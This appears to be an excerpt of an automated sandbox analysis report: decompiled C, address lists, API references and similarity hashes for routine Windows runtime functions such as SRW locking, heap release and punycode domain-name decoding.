0x6d25eddd
0x6d25ecbc
0x6d25ecbc
0x6d25ecc1
0x00000000
0x6d25ecc3
0x6d25ecc3
0x6d25ecc5
0x6d25ecc8
0x6d25ecd0
0x6d25ecd2
0x6d25ecdd
0x6d25ed1b
0x6d25ed1b
0x6d25ece1
0x6d25ece6
0x6d25eceb
0x6d25ed25
0x6d25ed28
0x6d25ed28
0x6d25ed25
0x6d25ecf1
0x6d25ecf6
0x6d25ecf6
0x6d25ed04
0x6d25ed0b
0x00000000
0x6d25ed0d
0x6d25ed0d
0x6d25ed0f
0x6d25ed10
0x6d27c27a
0x6d27c27c
0x6d27c281
0x6d2ba692
0x6d2ba692
0x6d2ba69d
0x6d2ba6a2
0x6d2ba6a4
0x6d2ba6a8
0x6d27c292
0x6d27c292
0x6d25ed0b
0x6d25ecc1
0x00000000
0x00000000
0x00000000
0x6d25eca2
0x6d25ec95
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?,?,?,00000001,-00000F38), ref: 6D25ECAD
RtlReleaseSRWLockExclusive.1105(6D3384D8,6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?,?,?,00000001,-00000F38), ref: 6D25ECD2
RtlFreeHeap.1105(00000000,?,6D3384D8,6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?,?,?,00000001,-00000F38), ref: 6D25ED04
RtlReleaseActivationContext.1105(-00000F38,6D3384D8,6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?,?,?,00000001,-00000F38), ref: 6D25ED28
_wcsicmp.1105(6D31FE98,?,6D31FB78,00000030,6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?,?,?,00000001,-00000F38), ref: 6D25EE13
_wcsicmp.1105(6D31FE98,?,6D31FB78,00000030,6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?,?,?,00000001,-00000F38), ref: 6D25EE74
RtlFreeHeap.1105(00000000,?,6D2917F0,6D26F715,6D26F5C0,?,?,?,00000001,-00000F38), ref: 6D27C28C

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveFreeHeapLockRelease_wcsicmp$AcquireActivationContext
String ID:
API String ID: 176173115-0
Opcode ID: 43c26754bbf2529c513a9a95b8e0553256d09f52d7ec65ae4b571406b5a539f3
Instruction ID: 74f3733dfcb000a48d931e403581034e98bcdc125bca62857ce103d0d9fe6e21
Opcode Fuzzy Hash: 43c26754bbf2529c513a9a95b8e0553256d09f52d7ec65ae4b571406b5a539f3
Instruction Fuzzy Hash: BD81F130A9520FCBCB25CF69C940EAAB7B6FF85319F24816DE515EB290E731E851CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6D25F820, Relevance: 12.1, APIs: 8, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D25F820(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int* _a20) {
				intOrPtr _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* _t37;
				signed int _t55;
				signed int _t56;
				signed int* _t62;
				signed int _t64;
				signed int* _t72;
				signed int _t76;
				void* _t78;
				signed int _t80;
				void* _t82;
				void* _t83;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_t74 = _a4;
				if(_a4 == 0) {
					L22:
					_t78 = 0x57;
					goto L16;
				} else {
					_t62 = _a20;
					if(_t62 == 0) {
						goto L22;
					} else {
						_t37 = E6D28F380(_t74, 0x6d225138, 0x10);
						_t83 = _t82 + 0xc;
						if(_t37 == 0) {
							if( *0x6d3360d8 == 0) {
								goto L3;
							} else {
								_push(0x57);
								goto L25;
							}
						} else {
							L3:
							_t71 = _a12;
							 *_t62 =  *_t62 & 0x00000000;
							_t78 = 0;
							_t62[1] = _t62[1] & 0x00000000;
							_t76 = E6D27BC2C(_t74, _a12, _a16, _a8);
							if(_t76 == 0) {
								_push(0xe);
								L25:
								_pop(_t78);
								goto L23;
							} else {
								_t8 = _t76 + 0x24; // 0x24
								_t63 = _t8;
								E6D262280(_t38, _t8);
								 *(_t76 + 0x2c) =  *( *[fs:0x18] + 0x24);
								if(_a8 == 0xa) {
									L6:
									_t14 = _t76 + 0xc; // 0xc
									 *((intOrPtr*)(_t83 + 0x18)) = _t14;
									 *((short*)(_t83 + 0x20)) =  *(_t76 + 0x34);
									E6D262280( *(_t76 + 0x34), 0x6d3386ac);
									_t64 =  *0x6d3386dc;
									_v20 =  *0x6d3386e0 & 1;
									_v24 = 0;
									if(_t64 != 0) {
										L7:
										while(1) {
											if(E6D25F99D(_t83 + 0x1c, _t64) >= 0) {
												_t55 =  *(_t64 + 4);
												if(_v16 != 0) {
													if(_t55 == 0) {
														goto L13;
													} else {
														_t55 = _t55 ^ _t64;
														goto L12;
													}
													goto L17;
												} else {
													L12:
													if(_t55 != 0) {
														goto L10;
													} else {
														L13:
														_v20 = 1;
													}
												}
											} else {
												_t56 =  *_t64;
												if(_v16 != 0) {
													if(_t56 == 0) {
														goto L14;
													} else {
														_t55 = _t56 ^ _t64;
														goto L9;
													}
													goto L17;
												} else {
													L9:
													if(_t55 == 0) {
														L14:
														_v20 = 0;
													} else {
														L10:
														_t64 = _t55;
														continue;
													}
												}
											}
											goto L15;
										}
									}
									L15:
									E6D25B090(0x6d3386dc, _t64, _v20, _t76);
									E6D25FFB0(_t64, _t76, 0x6d3386ac);
									E6D27F296(_t76, _t71);
									 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
									_t29 = _t76 + 0x24; // 0x24
									E6D25FFB0(_t64, _t76, _t29);
									asm("cdq");
									_t72 = _a20;
									 *_t72 = _t76;
									_t72[1] =  *(_t76 + 0x34) & 0x0000ffff;
								} else {
									_t71 = _a12;
									_t78 = E6D274D3B(_t76, _a12, _a8);
									if(_t78 != 0) {
										 *(_t76 + 0x2c) =  *(_t76 + 0x2c) & 0x00000000;
										E6D25FFB0(_t63, _t76, _t63);
										E6D24F871(_t63);
									} else {
										goto L6;
									}
								}
								L16:
								if(_t78 != 0) {
									L23:
									E6D24CC50(_t78);
								}
							}
						}
					}
				}
				L17:
				return _t78;
			}

0x6d25f828
0x6d25f82e
0x6d25f833
0x6d25f990
0x6d25f992
0x00000000
0x6d25f839
0x6d25f839
0x6d25f83e
0x00000000
0x6d25f844
0x6d25f84c
0x6d25f851
0x6d25f856
0x6d25f97b
0x00000000
0x6d25f981
0x6d25f981
0x00000000
0x6d25f981
0x6d25f85c
0x6d25f85c
0x6d25f85f
0x6d25f867
0x6d25f86a
0x6d25f86c
0x6d25f875
0x6d25f879
0x6d2abd6b
0x6d2abd6d
0x6d2abd6d
0x00000000
0x6d25f87f
0x6d25f87f
0x6d25f87f
0x6d25f883
0x6d25f895
0x6d25f898
0x6d25f8b1
0x6d25f8b1
0x6d25f8b4
0x6d25f8c1
0x6d25f8c6
0x6d25f8d2
0x6d25f8db
0x6d25f8df
0x6d25f8e6
0x00000000
0x6d25f8e8
0x6d25f8f5
0x6d25f911
0x6d25f914
0x6d25f98a
0x00000000
0x6d25f98c
0x6d25f98c
0x00000000
0x6d25f98c
0x00000000
0x6d25f916
0x6d25f916
0x6d25f918
0x00000000
0x6d25f91a
0x6d25f91a
0x6d25f91a
0x6d25f91a
0x6d25f918
0x6d25f8f7
0x6d25f8fc
0x6d25f8fe
0x6d2abd8b
0x00000000
0x6d2abd91
0x6d2abd91
0x00000000
0x6d2abd91
0x00000000
0x6d25f904
0x6d25f904
0x6d25f906
0x6d25f921
0x6d25f921
0x6d25f908
0x6d25f908
0x6d25f908
0x00000000
0x6d25f908
0x6d25f906
0x6d25f8fe
0x00000000
0x6d25f8f5
0x6d25f8e8
0x6d25f926
0x6d25f931
0x6d25f93b
0x6d25f942
0x6d25f947
0x6d25f94b
0x6d25f94f
0x6d25f95a
0x6d25f95d
0x6d25f960
0x6d25f962
0x6d25f89a
0x6d25f89d
0x6d25f8a7
0x6d25f8ab
0x6d2abd73
0x6d2abd78
0x6d2abd7f
0x00000000
0x00000000
0x00000000
0x6d25f8ab
0x6d25f965
0x6d25f967
0x6d25f995
0x6d25f996
0x6d25f996
0x6d25f967
0x6d25f879
0x6d25f856
0x6d25f83e
0x6d25f969
0x6d25f971

APIs

memcmp.1105(?,6D225138,00000010,?,00000000,00000000,6D22C318), ref: 6D25F84C
RtlAcquireSRWLockExclusive.1105(00000024,6D22C318,00000000,?,00000000,00000000,6D22C318), ref: 6D25F883
RtlAcquireSRWLockExclusive.1105(6D3386AC,00000024,6D22C318,00000000,?,00000000,00000000,6D22C318), ref: 6D25F8C6

Part of subcall function 6D274D3B: memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6D274D77
Part of subcall function 6D274D3B: RtlRunOnceExecuteOnce.1105(6D3386B0,6D275690,00000000,00000000,00000000,00000000,00000024), ref: 6D274D9E
Part of subcall function 6D274D3B: ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6D274DE9
Part of subcall function 6D274D3B: memcmp.1105(00000000,6D225138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6D274E26

RtlRbInsertNodeEx.1105(6D3386DC,?,00000000,00000000), ref: 6D25F931
RtlReleaseSRWLockExclusive.1105(6D3386AC,6D3386DC,?,00000000,00000000), ref: 6D25F93B
RtlReleaseSRWLockExclusive.1105(00000024,6D3386AC,6D3386DC,?,00000000,00000000), ref: 6D25F94F

Part of subcall function 6D27BC2C: RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,6D25F875,6D22C318,00000000,?,00000000,00000000,6D22C318), ref: 6D27BC79
Part of subcall function 6D27BC2C: RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000,6D25F875,6D22C318,00000000,?,00000000,00000000,6D22C318), ref: 6D27BC8D
Part of subcall function 6D27BC2C: RtlAllocateHeap.1105(?,00000008,000000D0,?,?,?,00000000,00000000,6D25F875,6D22C318,00000000,?,00000000,00000000,6D22C318), ref: 6D27BCA6

RtlSetLastWin32Error.1105(00000057,?,00000000,00000000,6D22C318), ref: 6D25F996
RtlReleaseSRWLockExclusive.1105(00000024,0000000A,00000024,6D22C318,00000000,?,00000000,00000000,6D22C318), ref: 6D2ABD78

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$Oncememcmp$AllocateControlErrorExecuteHeapInsertLastNodeTraceWin32memset
String ID:
API String ID: 3014906823-0
Opcode ID: 9985402974be4b18566e6cf6ad95124c42f388478892c9d4d9839e531969a5a4
Instruction ID: 2b473ea1acf52d11e1253db77365d9f347a18d7023bac99f676baa9b0150d2ee
Opcode Fuzzy Hash: 9985402974be4b18566e6cf6ad95124c42f388478892c9d4d9839e531969a5a4
Instruction Fuzzy Hash: 7C41D37129CB4FABD7118F28C940F6BB7E4BF46319F014529ED149B241D734D424CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D245C07, Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 452
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6D245C07(signed short* __ecx, signed int __edx, signed int* _a4, signed int* _a8, char _a12, char _a16, char* _a20, intOrPtr* _a24) {
				signed short* _v8;
				intOrPtr _v12;
				signed int* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				signed int* _v44;
				signed int _v48;
				signed short* _v52;
				signed short* _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int* _v76;
				void* _t155;
				signed int* _t156;
				intOrPtr* _t159;
				char _t160;
				signed int _t179;
				signed int _t181;
				char* _t182;
				void* _t183;
				signed int _t186;
				void* _t187;
				signed int _t190;
				signed int _t196;
				signed int* _t198;
				signed int _t200;
				intOrPtr _t202;
				intOrPtr _t203;
				signed int _t215;
				intOrPtr _t221;
				signed int _t222;
				signed int _t225;
				void* _t227;
				void* _t228;
				signed int* _t233;
				intOrPtr* _t234;
				signed int* _t236;
				signed short* _t239;
				void* _t249;
				void* _t250;
				signed int _t251;
				signed int _t253;
				void* _t269;
				signed int _t270;
				signed int _t272;
				void* _t273;
				void* _t274;
				signed short* _t277;
				signed short* _t280;
				intOrPtr* _t281;
				intOrPtr* _t282;
				signed int _t284;
				signed int _t287;
				signed int* _t288;
				signed int _t293;
				signed int* _t295;
				signed int* _t297;
				signed int _t299;
				signed int* _t302;
				signed int _t306;
				signed int _t309;
				signed int _t314;
				signed int _t315;
				signed short* _t317;
				void* _t318;

				_t236 = _a8;
				_v72 = __edx;
				_v52 = __ecx;
				_t299 =  *_t236;
				 *_t236 =  *_t236 & 0x00000000;
				 *_a20 = 1;
				if(__edx <= 0) {
					_t155 = 0xc0000716;
					L34:
					return _t155;
				}
				_t277 =  &(__ecx[__edx]);
				_t238 = __ecx;
				_v8 = __ecx;
				_v56 =  &(__ecx[0xffffffffffffffff]);
				_t295 = _a4;
				_t156 = _t295;
				_v16 = _t156;
				_t233 = _t156;
				_v76 = _t233;
				_v12 = _t233 + _t299 * 2;
				 *_a24 = _t233 - 2;
				if(__ecx >= _t277) {
					L35:
					_t155 = 0xc0000716;
					L33:
					goto L34;
				}
				_t302 = _t233;
				_v60 = 0x80;
				while(1) {
					_t159 = E6D245DDE(_t238, _t277, _a12);
					_t239 = _v8;
					_t234 = _t159;
					if(_t234 == _t239) {
						break;
					}
					if(_a12 != 0) {
						_t306 = _t234 - _t239;
						L7:
						if((_t277 - _t239 & 0xfffffffe) < 8) {
							L11:
							if((_v12 - _t295 & 0xfffffffe) < (_t306 & 0xfffffffe)) {
								goto L35;
							}
							_t280 = _t239;
							if(_t239 >= _t234) {
								L21:
								if(_a12 != 0 || (_t234 - _t239 & 0xfffffffe) <= 0x7e && _t295 != _v16) {
									_t277 = _v52 + _v72 * 2;
									if(_t234 == _t277) {
										L27:
										_t160 = _a12;
										if(_t160 != 0) {
											_a12 = 0;
											_v56 = _t234;
											asm("sbb ecx, ecx");
											 *_a24 = _t295 - ( ~(_t234 - _t277) & 0x00000002);
											if(_t234 == _t277 - 2) {
												goto L35;
											}
											_t160 = _a12;
										}
										_t238 = _t234 + 2;
										_t302 = _t295;
										_v8 = _t234 + 2;
										_v16 = _t302;
										if(_t234 < _t277) {
											continue;
										}
										L29:
										_t297 = _v76;
										if(_t302 == _t297 || _t160 == 0 && _t277 - _v56 >> 1 > (0 | ( *(_t277 - 2) & 0x0000ffff) == 0x0000002e) + 0xff) {
											goto L35;
										} else {
											 *_a8 = _t302 - _t297 >> 1;
											_t155 = 0;
											goto L33;
										}
									}
									if(_t295 >= _v12) {
										goto L35;
									}
									 *_t295 =  *_t234;
									_t295 =  &(_t295[0]);
									_a4 = _t295;
									goto L27;
								} else {
									goto L35;
								}
							} else {
								goto L13;
							}
							do {
								L13:
								if(_a12 != 0) {
									L17:
									_t179 =  *_t280 & 0x0000ffff;
									if(_t179 == 0 || _t179 >= 0x80) {
										goto L35;
									} else {
										goto L19;
									}
								}
								if(_a16 != 0) {
									if(E6D2F7F9F( *_t280) == 0) {
										goto L35;
									}
								}
								_t181 =  *_t280 & 0x0000ffff;
								_t249 = 0x20;
								if(_t181 < _t249) {
									goto L35;
								}
								_t250 = 0x7f;
								if(_t181 == _t250) {
									goto L35;
								}
								goto L17;
								L19:
								 *_t295 = _t179;
								_t280 =  &(_t280[1]);
								_t295 =  &(_t295[0]);
								_a4 = _t295;
							} while (_t280 < _t234);
							L20:
							_t239 = _v8;
							goto L21;
						}
						_t182 = L"xl--";
						if(_a12 == 0) {
							_t182 = L"xn--";
						}
						_t183 = E6D28E5C0(_t239, _t182, 4);
						_t239 = _v8;
						_t318 = _t318 + 0xc;
						if(_t183 == 0) {
							_t281 = _t234 - 2;
							_t239 =  &(_t239[4]);
							_v8 = _t239;
							 *_a20 = 0;
							if(_t281 < _t239) {
								L46:
								_t281 = 0;
								L47:
								if(_t281 == _t234 - 2) {
									goto L35;
								}
								if(_t281 == 0 || _t281 <= _t239) {
									_t186 = 0;
								} else {
									_t317 = _t239;
									_t186 = _t281 - _t239 >> 1;
									_v48 = _t186;
									if(_t239 == _t281) {
										L68:
										if(_t186 <= 0) {
											_t187 = 0;
										} else {
											_t187 = 2 + _t186 * 2;
										}
										_t309 = 0;
										_v24 = 0x80;
										_v28 = _v28 & 0;
										_t282 = _t187 + _t239;
										_v36 = _t282;
										_v48 = 0x48;
										if(_t282 >= _t234) {
											goto L21;
										} else {
											do {
												_t251 = 0x24;
												_v68 = _t309;
												_v64 = _t309;
												_v20 = 1;
												_v40 = _t251;
												_v44 = _t251 - _v48;
												while(_t282 < _t234) {
													_t190 = E6D2F802C( *_t282);
													_v36 = _v36 + 2;
													_t253 = _t190;
													if(_t253 < 0) {
														goto L35;
													}
													asm("cdq");
													if(_t253 > 0x7ffffff / _v20) {
														goto L35;
													}
													_t284 = _v40;
													_t309 = _t309 + _t253 * _v20;
													_t196 = _v48;
													_v32 = _t309;
													if(_t284 > _t196) {
														if(_t284 < _t196 + 0x1a) {
															_t198 = _v44;
														} else {
															_t198 = 0x1a;
														}
													} else {
														_t198 = 1;
													}
													if(_t253 < _t198) {
														_t314 = (_t295 - _v16 >> 1) - _v28 + 1;
														_v48 = E6D2F7FD5(_v32 - _v68, _t314, (_t253 & 0xffffff00 | _v64 == 0x00000000) & 0x000000ff);
														_t200 = _v32;
														asm("cdq");
														_t315 = _t200 % _t314;
														_t287 = _t200 / _t314;
														_t202 = _v24;
														_v32 = _t315;
														if(_t287 > 0x7ffffff - _t202) {
															goto L35;
														}
														_t203 = _t202 + _t287;
														_v24 = _t203;
														if(_t203 >= 0x80 && _t203 <= 0x10ffff && (_t203 < 0xd800 || _t203 > 0xdfff)) {
															if(_v28 <= 0) {
																_t288 = _v16 + _t315 * 2;
																_v44 = _t288;
																L97:
																if(_t203 >= 0x10000) {
																	if(_t295 >= _v12 + 0xfffffffe || _t288 > _t295) {
																		goto L35;
																	} else {
																		asm("cdq");
																		_t140 = (_v24 + 0xffff0000) / 0x400 - 0x2800; // -4294911872
																		E6D2F7F11((_v24 + 0xffff0000) / 0x400, _t140, _v44,  &_a4);
																		E6D2F7F11( &_a4, (_v24 + 0xffff0000) % 0x400 - 0x2400,  &(_v44[0]),  &_a4);
																		_v28 = _v28 + 1;
																		_t315 = _v32;
																		goto L104;
																	}
																}
																if(_t295 >= _v12 || _t288 > _t295) {
																	goto L35;
																} else {
																	E6D2F7F11(_t203, _t203, _t288,  &_a4);
																	goto L104;
																}
															}
															_t288 = _v16;
															_v40 = _t315;
															_v44 = _t288;
															if(_t315 <= 0) {
																goto L97;
															}
															while(_t288 < _t295) {
																if(E6D2F7F61( *_t288) != 0) {
																	_t288 =  &(_t288[0]);
																}
																_t288 =  &(_t288[0]);
																_t215 = _v40 - 1;
																_v44 = _t288;
																_v40 = _t215;
																if(_t215 > 0) {
																	continue;
																} else {
																	_t203 = _v24;
																	goto L97;
																}
															}
														}
														goto L35;
													} else {
														_t269 = 0x24;
														_t270 = _t269 - _t198;
														asm("cdq");
														_t293 = _v20;
														if(_t293 > 0x7ffffff / _t270) {
															goto L35;
														}
														_v40 = _v40 + 0x24;
														_v44 =  &(_v44[9]);
														_t282 = _v36;
														_v20 = _t270 * _t293;
														continue;
													}
												}
												goto L35;
												L104:
												_t282 = _v36;
												_t309 = _t315 + 1;
												_t295 = _a4;
											} while (_t282 < _t234);
											goto L20;
										}
									}
									while(_t295 < _v12) {
										_t221 = _a12;
										if(_t221 != 0) {
											L58:
											_t272 =  *_t317 & 0x0000ffff;
											if(_t272 == 0 || _t272 >= _v60) {
												goto L35;
											} else {
												if(_t221 != 0) {
													L63:
													_t222 = _t272;
													L64:
													 *_t295 = _t222;
													_t317 =  &(_t317[1]);
													_t295 =  &(_t295[0]);
													_a4 = _t295;
													if(_t317 != _t281) {
														continue;
													}
													break;
												}
												_t59 = _t272 - 0x41; // 0x3f
												if(_t59 > 0x19) {
													goto L63;
												}
												_t60 = _t272 + 0x20; // 0xa0
												_t222 = _t60 & 0x0000ffff;
												goto L64;
											}
										}
										if(_a16 == _t221 || E6D2F7F9F( *_t317) != 0) {
											_t225 =  *_t317 & 0x0000ffff;
											_t273 = 0x20;
											if(_t225 < _t273) {
												goto L35;
											}
											_t274 = 0x7f;
											if(_t225 == _t274) {
												goto L35;
											}
											_t221 = _a12;
											goto L58;
										} else {
											goto L35;
										}
									}
									if(_t317 != _t281) {
										goto L35;
									}
									_t239 = _v8;
									_t186 = _v48;
								}
								goto L68;
							}
							_t227 = 0x2d;
							while( *_t281 != _t227) {
								_t281 = _t281 - 2;
								if(_t281 >= _t239) {
									continue;
								}
								goto L46;
							}
							goto L47;
						} else {
							goto L11;
						}
					}
					if(_a16 != 0) {
						_t228 = 0x2d;
						if( *_t239 == _t228) {
							goto L35;
						}
						if(_t234 <= _v52) {
							goto L6;
						}
						if( *((intOrPtr*)(_t234 - 2)) == _t228) {
							goto L35;
						}
					}
					L6:
					_t306 = _t234 - _t239;
					if((_t306 & 0xfffffffe) > 0x7e) {
						goto L35;
					}
					goto L7;
				}
				_t160 = _a12;
				if(_t160 != 0 || _t234 != _t277) {
					goto L35;
				} else {
					goto L29;
				}
			}

0x6d245c14
0x6d245c18
0x6d245c1b
0x6d245c1e
0x6d245c20
0x6d245c26
0x6d245c2b
0x6d2a12f0
0x6d245dcf
0x6d245dd4
0x6d245dd4
0x6d245c31
0x6d245c34
0x6d245c39
0x6d245c3c
0x6d245c40
0x6d245c43
0x6d245c45
0x6d245c48
0x6d245c4a
0x6d245c53
0x6d245c59
0x6d245c5d
0x6d245dd7
0x6d245dd7
0x6d245dce
0x00000000
0x6d245dce
0x6d245c63
0x6d245c65
0x6d245c6c
0x6d245c6f
0x6d245c74
0x6d245c77
0x6d245c7b
0x00000000
0x00000000
0x6d245c85
0x6d2a1320
0x6d245ca7
0x6d245cb1
0x6d245cda
0x6d245ce7
0x00000000
0x00000000
0x6d245ced
0x6d245cf1
0x6d245d4b
0x6d245d4f
0x6d245d68
0x6d245d6d
0x6d245d80
0x6d245d80
0x6d245d85
0x6d2a163d
0x6d2a1643
0x6d2a164a
0x6d2a1654
0x6d2a165b
0x00000000
0x00000000
0x6d2a1661
0x6d2a1661
0x6d245d8b
0x6d245d8e
0x6d245d90
0x6d245d93
0x6d245d98
0x00000000
0x00000000
0x6d245d9e
0x6d245d9e
0x6d245da3
0x00000000
0x6d245dc3
0x6d245dca
0x6d245dcc
0x00000000
0x6d245dcc
0x6d245da3
0x6d245d72
0x00000000
0x00000000
0x6d245d77
0x6d245d7a
0x6d245d7d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d245cf3
0x6d245cf3
0x6d245cf7
0x6d245d1e
0x6d245d1e
0x6d245d24
0x00000000
0x00000000
0x00000000
0x00000000
0x6d245d24
0x6d245cfd
0x6d2a1630
0x00000000
0x00000000
0x6d2a1636
0x6d245d03
0x6d245d08
0x6d245d0c
0x00000000
0x00000000
0x6d245d14
0x6d245d18
0x00000000
0x00000000
0x00000000
0x6d245d38
0x6d245d38
0x6d245d3b
0x6d245d3e
0x6d245d41
0x6d245d44
0x6d245d48
0x6d245d48
0x00000000
0x6d245d48
0x6d245cb7
0x6d245cbc
0x6d245cbe
0x6d245cbe
0x6d245cc7
0x6d245ccc
0x6d245ccf
0x6d245cd4
0x6d2a132a
0x6d2a132d
0x6d2a1330
0x6d2a1333
0x6d2a1338
0x6d2a1349
0x6d2a1349
0x6d2a134b
0x6d2a1350
0x00000000
0x00000000
0x6d2a1358
0x6d2a1405
0x6d2a1366
0x6d2a1368
0x6d2a136c
0x6d2a136e
0x6d2a1373
0x6d2a1407
0x6d2a1409
0x6d2a1414
0x6d2a140b
0x6d2a140b
0x6d2a140b
0x6d2a1416
0x6d2a1418
0x6d2a141f
0x6d2a1422
0x6d2a1425
0x6d2a1428
0x6d2a1431
0x00000000
0x6d2a1437
0x6d2a1437
0x6d2a1439
0x6d2a143c
0x6d2a1442
0x6d2a1445
0x6d2a144c
0x6d2a144f
0x6d2a1452
0x6d2a145d
0x6d2a1462
0x6d2a1466
0x6d2a146a
0x00000000
0x00000000
0x6d2a1477
0x6d2a147d
0x00000000
0x00000000
0x6d2a1483
0x6d2a148c
0x6d2a148e
0x6d2a1491
0x6d2a1496
0x6d2a14a2
0x6d2a14a9
0x6d2a14a4
0x6d2a14a6
0x6d2a14a6
0x6d2a1498
0x6d2a149a
0x6d2a149a
0x6d2a14ae
0x6d2a14e8
0x6d2a1501
0x6d2a1509
0x6d2a150c
0x6d2a150f
0x6d2a1511
0x6d2a1513
0x6d2a1518
0x6d2a151d
0x00000000
0x00000000
0x6d2a1523
0x6d2a152a
0x6d2a152f
0x6d2a1556
0x6d2a1595
0x6d2a1598
0x6d2a159b
0x6d2a15a0
0x6d2a15c8
0x00000000
0x6d2a15d6
0x6d2a15e3
0x6d2a15ef
0x6d2a15f5
0x6d2a1607
0x6d2a160c
0x6d2a160f
0x00000000
0x6d2a160f
0x6d2a15c8
0x6d2a15a5
0x00000000
0x6d2a15b3
0x6d2a15b9
0x00000000
0x6d2a15b9
0x6d2a15a5
0x6d2a1558
0x6d2a155b
0x6d2a155e
0x6d2a1563
0x00000000
0x00000000
0x6d2a1565
0x6d2a1577
0x6d2a1579
0x6d2a1579
0x6d2a157f
0x6d2a1582
0x6d2a1583
0x6d2a1586
0x6d2a158b
0x00000000
0x6d2a158d
0x6d2a158d
0x00000000
0x6d2a158d
0x6d2a158b
0x6d2a1565
0x00000000
0x6d2a14b0
0x6d2a14b2
0x6d2a14b3
0x6d2a14ba
0x6d2a14bd
0x6d2a14c2
0x00000000
0x00000000
0x6d2a14c8
0x6d2a14cf
0x6d2a14d3
0x6d2a14d6
0x00000000
0x6d2a14d6
0x6d2a14ae
0x00000000
0x6d2a1612
0x6d2a1612
0x6d2a1615
0x6d2a1616
0x6d2a1619
0x00000000
0x6d2a1621
0x6d2a1431
0x6d2a1379
0x6d2a137e
0x6d2a1383
0x6d2a13b8
0x6d2a13b8
0x6d2a13be
0x00000000
0x6d2a13ce
0x6d2a13d0
0x6d2a13e3
0x6d2a13e3
0x6d2a13e5
0x6d2a13e5
0x6d2a13e8
0x6d2a13eb
0x6d2a13ee
0x6d2a13f3
0x00000000
0x00000000
0x00000000
0x6d2a13f3
0x6d2a13d2
0x6d2a13d9
0x00000000
0x00000000
0x6d2a13db
0x6d2a13de
0x00000000
0x6d2a13de
0x6d2a13be
0x6d2a1388
0x6d2a139a
0x6d2a139f
0x6d2a13a3
0x00000000
0x00000000
0x6d2a13ab
0x6d2a13af
0x00000000
0x00000000
0x6d2a13b5
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2a1388
0x6d2a13f7
0x00000000
0x00000000
0x6d2a13fd
0x6d2a1400
0x6d2a1400
0x00000000
0x6d2a1358
0x6d2a133c
0x6d2a133d
0x6d2a1342
0x6d2a1347
0x00000000
0x00000000
0x00000000
0x6d2a1347
0x00000000
0x00000000
0x00000000
0x00000000
0x6d245cd4
0x6d245c8f
0x6d2a12fc
0x6d2a1300
0x00000000
0x00000000
0x6d2a1309
0x00000000
0x00000000
0x6d2a1313
0x00000000
0x00000000
0x6d2a1319
0x6d245c95
0x6d245c97
0x6d245ca1
0x00000000
0x00000000
0x00000000
0x6d245ca1
0x6d2a1669
0x6d2a166e
0x00000000
0x6d2a167c
0x00000000
0x6d2a167c

APIs

_wcsnicmp.1105(?,xl--,00000004,?,?,?,?), ref: 6D245CC7

Strings

xn--, xrefs: 6D245CBE, 6D245CC5
$, xrefs: 6D2A14C8
xl--, xrefs: 6D245CB7
H, xrefs: 6D2A1428
$, xrefs: 6D2A14CF

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: $$$$H$xl--$xn--
API String ID: 1886669725-662589111
Opcode ID: ae169259955c25aa11a8345a04c57097b28e8b107e7c7c8ea9a69b8cc05f6789
Instruction ID: 143182dcf0bed0277cf986b8a48da1c0ea6d4512f0f8651b4875dfb4ea93e856
Opcode Fuzzy Hash: ae169259955c25aa11a8345a04c57097b28e8b107e7c7c8ea9a69b8cc05f6789
Instruction Fuzzy Hash: 6CF1E271E8424FCBDF19CF68C4847BDB7B1EF45325F28C169D991AB284E73189858B50

Uniqueness

Uniqueness Score: -1.00%

